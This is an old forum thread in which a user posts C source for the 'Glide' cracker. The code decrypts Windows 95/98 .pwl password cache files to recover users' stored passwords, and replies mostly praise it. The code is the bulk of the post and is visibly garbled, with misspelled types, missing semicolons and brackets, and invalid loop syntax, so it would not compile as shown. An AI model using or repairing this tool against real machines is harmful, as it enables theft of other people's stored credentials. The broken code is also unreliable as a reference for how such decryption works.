Support Forums
The Glide Code. - Printable Version

+- Support Forums (https://www.supportforums.net)
+-- Forum: Categories (https://www.supportforums.net/forumdisplay.php?fid=87)
+--- Forum: Coding Support Forums (https://www.supportforums.net/forumdisplay.php?fid=18)
+---- Forum: Programming with C++ (https://www.supportforums.net/forumdisplay.php?fid=20)
+---- Thread: The Glide Code. (/showthread.php?tid=2151)

Pages: 1 2


The Glide Code. - Akshay* - 10-25-2009

Hello many of you may be wondering what is the glide code.

I can explain you this.

IN windows 98/95/or SE

The Password you enter is saved in the C:\windows directory in the *.pwl file.

So if you open that file you get a encrypted mode.

To decrypt it I had made my own c code.


Here it is.

Code:
#include<stdio.h>
#include<string.h>
#include<process.h>
#include<stdlib.h>
#include<ctype.h>
#include<conio.h>

usingned char huge data[100001];
usingned char keystream[1001];
int Rpoint[300];

void main (int argc,char *argv[]) {
FILE *fd;
int i,j,k;
int size;
char chi;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300];

if(argc<2) {
printf("usage : glide filname (username)")
exit(1);
}


fd=fopen(argv[1],"rb");
if(fd==NULL)
{
printf("can't open file %s",argv[1]");
exit(-1);
}

size=0;
while(!feof(fd)) {
Data[size++]=fgetc(fd);
}
size-;
fclose(fd);

name=argv[1];
if(argc>2) name=argv[2];
printf("Username :%s\n",name);

cracked=size-0x0208;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked;

for(i=0;i<20;i++) {
ch=toupper(name[i])
if(ch==0) break;
if(ch=='.');
keystream[i] ^ =ch;

};

cracked=20;


sizemask=keystrean[0]+(keystream[1]<<8);
printf("Sizemask : %04X\n",sizemask);

for(i=0;i<256;i++) {
if(Data[i]!=0xff) {
Rall [Data[i]]++;
if(Data[i]>maxr)maxr=data[i];
}
}

maxr=(((maxr/16)+1)*16);

Rpoint[0]=0x0208+2*maxr+20+2;
for(i=0;i<maxr;i++) {
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);

rsz^=sizemask;
printf("Analysing block with size : %04x\t(%d:%d)\n",rsz,i,Rall[i]");
if((Rall[i]==0) && (rsz!=0) {
printf("used resource has nonzero size!!!\n");
printf("if last line produced any : you may try to recover\n");
printf("Press y to attemp recovery \n");
ch=getch();
if(ch!='y') exit(0);
rsz=2;
i-=1;
}

pos+=rsz;

if(i<maxr-1) {
while(Data[pos+3]!=keystream[1]) {
printf(":",Data[pos+3]);
pos+=2;
}
}

pos+=2;
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;

for(i=o;i<=maxr;i++) {
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i]>>8 )& 0x00ff;
}
cracked+=maxr*2+2;

printf("%d Bytes of keystream recovered \n",cracked);
for(1=0;i < maxr;i++) {
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)\n",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint[i]+j] ^ keystream[j]0:
printf("\n");
}
exit(o)

}

This is not leeched post.This script is coded by me.


RE: The Glide Code. - hero - 10-25-2009

Very good

Thanks akshay.


RE: The Glide Code. - Extasey - 10-25-2009

Niice work man, but who has those outdated systems anymore?!


RE: The Glide Code. - Akshay* - 10-25-2009

@ Extasey


This can be helpful in Windows NT also.


RE: The Glide Code. - flAmingw0rm - 10-27-2009

Nice man, good job thanks for the code.


RE: The Glide Code. - Akshay* - 11-01-2009

You are always welcome for any type of help


RE: The Glide Code. - Gone - 11-01-2009

(10-25-2009, 01:08 AM)Extasey Wrote: Niice work man, but who has those outdated systems anymore?!

I know personally about 12. All businesses or older users.


RE: The Glide Code. - Akshay* - 11-01-2009

I know personally about 12. All businesses or older users.??

I cannot understand you,


RE: The Glide Code. - ktmrider530 - 11-01-2009

He meant he knows about 12 people who use it, they are all older or business men.


RE: The Glide Code. - Codine - 11-02-2009

(10-25-2009, 01:08 AM)Extasey Wrote: Niice work man, but who has those outdated systems anymore?!

You'd be quite suprised to be honest. I've seen quite a few this year alone.